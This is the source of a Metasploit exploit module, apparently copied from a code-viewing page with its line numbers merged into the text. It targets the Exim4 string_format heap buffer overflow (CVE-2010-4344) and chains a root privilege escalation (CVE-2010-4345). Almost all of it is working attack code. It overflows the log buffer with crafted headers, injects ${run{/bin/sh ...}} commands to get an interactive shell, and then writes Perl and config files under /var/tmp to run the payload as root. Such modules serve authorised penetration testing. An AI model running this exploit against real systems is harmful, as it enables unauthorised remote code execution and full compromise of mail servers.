Path: blob/master/modules/exploits/unix/smtp/exim4_string_format.rb
19516 views
##1# This module requires Metasploit: https://metasploit.com/download2# Current source: https://github.com/rapid7/metasploit-framework3##45class MetasploitModule < Msf::Exploit::Remote6Rank = ExcellentRanking78include Msf::Exploit::Remote::Smtp910def initialize(info = {})11super(12update_info(13info,14'Name' => 'Exim4 string_format Function Heap Buffer Overflow',15'Description' => %q{16This module exploits a heap buffer overflow within versions of Exim prior to17version 4.69. By sending a specially crafted message, an attacker can corrupt the18heap and execute arbitrary code with the privileges of the Exim daemon.1920The root cause is that no check is made to ensure that the buffer is not full21prior to handling '%s' format specifiers within the 'string_vformat' function.22In order to trigger this issue, we get our message rejected by sending a message23that is too large. This will call into log_write to log rejection headers (which24is a default configuration setting). After filling the buffer, a long header25string is sent. In a successful attempt, it overwrites the ACL for the 'MAIL26FROM' command. By sending a second message, the string we sent will be evaluated27with 'expand_string' and arbitrary shell commands can be executed.2829It is likely that this issue could also be exploited using other techniques such30as targeting in-band heap management structures, or perhaps even function pointers31stored in the heap. However, these techniques would likely be far more platform32specific, more complicated, and less reliable.3334This bug was original found and reported in December 2008, but was not35properly handled as a security issue. Therefore, there was a 2 year lag time36between when the issue was fixed and when it was discovered being exploited37in the wild. At that point, the issue was assigned a CVE and began being38addressed by downstream vendors.3940An additional vulnerability, CVE-2010-4345, was also used in the attack that41led to the discovery of danger of this bug. This bug allows a local user to42gain root privileges from the Exim user account. If the Perl interpreter is43found on the remote system, this module will automatically exploit the44secondary bug as well to get root.45},46'Author' => [ 'jduck', 'hdm' ],47'License' => MSF_LICENSE,48'References' => [49[ 'CVE', '2010-4344' ],50[ 'CVE', '2010-4345' ],51[ 'OSVDB', '69685' ],52[ 'OSVDB', '69860' ],53[ 'BID', '45308' ],54[ 'BID', '45341' ],55[ 'URL', 'https://seclists.org/oss-sec/2010/q4/311' ],56[ 'URL', 'http://www.gossamer-threads.com/lists/exim/dev/89477' ],57[ 'URL', 'http://bugs.exim.org/show_bug.cgi?id=787' ],58[ 'URL', 'http://git.exim.org/exim.git/commitdiff/24c929a27415c7cfc7126c47e4cad39acf3efa6b' ]59],60'Privileged' => true,61'Payload' => {62'DisableNops' => true,63'Space' => 8192, # much more in reality, but w/e64'Compat' =>65{66'PayloadType' => 'cmd',67'RequiredCmd' => 'generic perl ruby telnet',68}69},70'Platform' => 'unix',71'Arch' => ARCH_CMD,72'Targets' => [73[ 'Automatic', {} ],74],75# Originally discovered/reported Dec 2 200876'DisclosureDate' => '2010-12-07', # as an actual security bug77'DefaultTarget' => 0,78'Notes' => {79'Reliability' => UNKNOWN_RELIABILITY,80'Stability' => UNKNOWN_STABILITY,81'SideEffects' => UNKNOWN_SIDE_EFFECTS82}83)84)8586register_options(87[88OptString.new('MAILFROM', [ true, 'FROM address of the e-mail', 'root@localhost']),89OptString.new('MAILTO', [ true, 'TO address of the e-mail', 'postmaster@localhost']),90OptString.new('EHLO_NAME', [ false, 'The name to send in the EHLO' ])91]92)9394register_advanced_options(95[96OptString.new("SourceAddress", [false, "The IP or hostname of this system as the target will resolve it"]),97OptBool.new("SkipEscalation", [true, "Specify this to skip the root escalation attempt", false]),98OptBool.new("SkipVersionCheck", [true, "Specify this to skip the version check", false])99]100)101end102103def exploit104#105# Connect and grab the banner106#107ehlo = datastore['EHLO_NAME']108ehlo ||= Rex::Text.rand_text_alphanumeric(8) + ".com"109110print_status("Connecting to #{rhost}:#{rport} ...")111connect112113print_status("Server: #{self.banner.to_s.strip}")114if self.banner.to_s !~ /Exim /115disconnect116fail_with(Failure::NoTarget, "The target server is not running Exim!")117end118119if not datastore['SkipVersionCheck'] and self.banner !~ /Exim 4\.6\d+/i120fail_with(Failure::Unknown, "Warning: This version of Exim is not exploitable")121end122123ehlo_resp = raw_send_recv("EHLO #{ehlo}\r\n")124ehlo_resp.each_line do |line|125print_status("EHLO: #{line.strip}")126end127128#129# Determine the maximum message size130#131max_msg = 52428800132if ehlo_resp.to_s =~ /250-SIZE (\d+)/133max_msg = $1.to_i134end135136#137# Determine what hostname the server sees138#139saddr = nil140revdns = nil141if ehlo_resp =~ /^250.*Hello ([^\s]+) \[([^\]]+)\]/142revdns = $1143saddr = $2144end145source = saddr || datastore["SourceAddress"] || Rex::Socket.source_address('1.2.3.4')146print_status("Determined our hostname is #{revdns} and IP address is #{source}")147148#149# Initiate the message150#151from = datastore['MAILFROM']152to = datastore['MAILTO']153154resp = raw_send_recv("MAIL FROM: #{from}\r\n")155resp ||= 'no response'156msg = "MAIL: #{resp.strip}"157if not resp or resp[0, 3] != '250'158fail_with(Failure::Unknown, msg)159else160print_status(msg)161end162163resp = raw_send_recv("RCPT TO: #{to}\r\n")164resp ||= 'no response'165msg = "RCPT: #{resp.strip}"166if not resp or resp[0, 3] != '250'167fail_with(Failure::Unknown, msg)168else169print_status(msg)170end171172resp = raw_send_recv("DATA\r\n")173resp ||= 'no response'174msg = "DATA: #{resp.strip}"175if not resp or resp[0, 3] != '354'176fail_with(Failure::Unknown, msg)177else178print_status(msg)179end180181#182# Calculate the headers183#184msg_len = max_msg + (1024 * 256) # just for good measure185log_buffer_size = 8192186187host_part = "H="188if revdns and revdns != ehlo189host_part << revdns << " "190end191host_part << "(#{ehlo})"192193# The initial headers will fill up the 'log_buffer' variable in 'log_write' function194print_status("Constructing initial headers ...")195log_buffer = "YYYY-MM-DD HH:MM:SS XXXXXX-YYYYYY-ZZ rejected from <#{from}> #{host_part} [#{source}]: "196log_buffer << "message too big: read=#{msg_len} max=#{max_msg}\n"197log_buffer << "Envelope-from: <#{from}>\nEnvelope-to: <#{to}>\n"198199# We want 2 bytes left, so we subtract from log_buffer_size here200log_buffer_size -= 3 # account for the nul termination too201202# Now, " " + hdrline for each header203hdrs = []204while log_buffer.length < log_buffer_size205header_name = rand_text_alpha(10).capitalize206filler = rand_text_alphanumeric(8 * 16)207hdr = "#{header_name}: #{filler}\n"208209one = (2 + hdr.length)210two = 2 * one211left = log_buffer_size - log_buffer.length212if left < two and left > one213left -= 4 # the two double spaces214first = left / 2215hdr = hdr.slice(0, first - 1) + "\n"216hdrs << hdr217log_buffer << " " << hdr218219second = left - first220header_name = rand_text_alpha(10).capitalize221filler = rand_text_alphanumeric(8 * 16)222hdr = "#{header_name}: #{filler}\n"223hdr = hdr.slice(0, second - 1) + "\n"224end225hdrs << hdr226log_buffer << " " << hdr227end228hdrs1 = hdrs.join229230# This header will smash various heap stuff, hopefully including the ACL231header_name = Rex::Text.rand_text_alpha(7).capitalize232print_status("Constructing HeaderX ...")233hdrx = "#{header_name}: "2341.upto(50) { |a|2353.upto(12) { |b|236hdrx << "${run{/bin/sh -c 'exec /bin/sh -i <&#{b} >&0 2>&0'}} "237}238}239240# In order to trigger the overflow, we must get our message rejected.241# To do so, we send a message that is larger than the maximum.242243print_status("Constructing body ...")244body = ''245fill = (Rex::Text.rand_text_alphanumeric(254) + "\r\n") * 16384246247while (body.length < msg_len)248body << fill249end250body = body[0, msg_len]251252print_status("Sending #{msg_len / (1024 * 1024)} megabytes of data...")253sock.put hdrs1254sock.put hdrx255sock.put "\r\n"256sock.put body257258print_status("Ending first message.")259buf = raw_send_recv("\r\n.\r\n")260# Should be: "552 Message size exceeds maximum permitted\r\n"261print_status("Result: #{buf.inspect}") if buf262263second_result = ""264265print_status("Sending second message ...")266buf = raw_send_recv("MAIL FROM: #{datastore['MAILFROM']}\r\n")267# Should be: "sh-x.x$ " !!268if buf269print_status("MAIL result: #{buf.inspect}")270second_result << buf271end272273buf = raw_send_recv("RCPT TO: #{datastore['MAILTO']}\r\n")274# Should be: "sh: RCPT: command not found\n"275if buf276print_status("RCPT result: #{buf.inspect}")277second_result << buf278end279280# Clear pending output from the socket281buf = sock.get_once(-1, 1.0)282second_result << buf if buf283sock.put("source /etc/profile >/dev/null 2>&1\n")284buf = sock.get_once(-1, 2.0)285second_result << buf if buf286287# Check output for success288if second_result !~ /(MAIL|RCPT|sh: |sh-[0-9]+)/289print_error("Second result: #{second_result.inspect}")290fail_with(Failure::Unknown, 'Something went wrong, perhaps this host is patched?')291end292293resp = ''294if not datastore['SkipEscalation']295print_status("Looking for Perl to facilitate escalation...")296# Check for Perl as a way to escalate our payload297sock.put("perl -V\n")298select(nil, nil, nil, 3.0)299resp = sock.get_once(-1, 10.0)300end301302if resp !~ /Summary of my perl/303print_status("Should have a shell now, sending payload...")304buf = raw_send_recv("\n" + payload.encoded + "\n\n")305if buf306if buf =~ /554 SMTP synchronization error/307print_error("This target may be patched: #{buf.strip}")308else309print_status("Payload result: #{buf.inspect}")310end311end312else313print_status("Perl binary detected, attempt to escalate...")314315token = Rex::Text.rand_text_alpha(8)316# Flush the output from the shell317sock.get_once(-1, 0.1)318319# Find the perl interpreter path320sock.put("which perl;echo #{token}\n")321buff = ""322cnt =323while not buff.index(token)324res = sock.get_once(-1, 0.25)325buff << res if res326end327328perl_path = buff.gsub(token, "").gsub(/\/perl.*/m, "/perl").strip329print_status("Using Perl interpreter at #{perl_path}...")330331temp_conf = "/var/tmp/" + Rex::Text.rand_text_alpha(8)332temp_perl = "/var/tmp/" + Rex::Text.rand_text_alpha(8)333temp_eof = Rex::Text.rand_text_alpha(8)334335print_status("Creating temporary files #{temp_conf} and #{temp_perl}...")336337data_conf = "spool_directory = ${run{#{perl_path} #{temp_perl}}}\n".unpack("H*")[0]338sock.put("perl -e 'print pack qq{H*},shift' #{data_conf} > #{temp_conf}\n")339340data_perl = "#!/usr/bin/perl\n$) = $( = $> = $< = 0; system<DATA>;\n__DATA__\n#{payload.encoded}\n".unpack("H*")[0]341sock.put("perl -e 'print pack qq{H*},shift' #{data_perl} > #{temp_perl}\n")342343print_status("Attempting to execute payload as root...")344sock.put("PATH=/bin:/sbin:/usr/sbin:/usr/bin:/usr/local/sbin:/usr/local/bin exim -C#{temp_conf} -q\n")345end346347# Give some time for the payload to be consumed348select(nil, nil, nil, 4)349350handler351disconnect352end353end354355356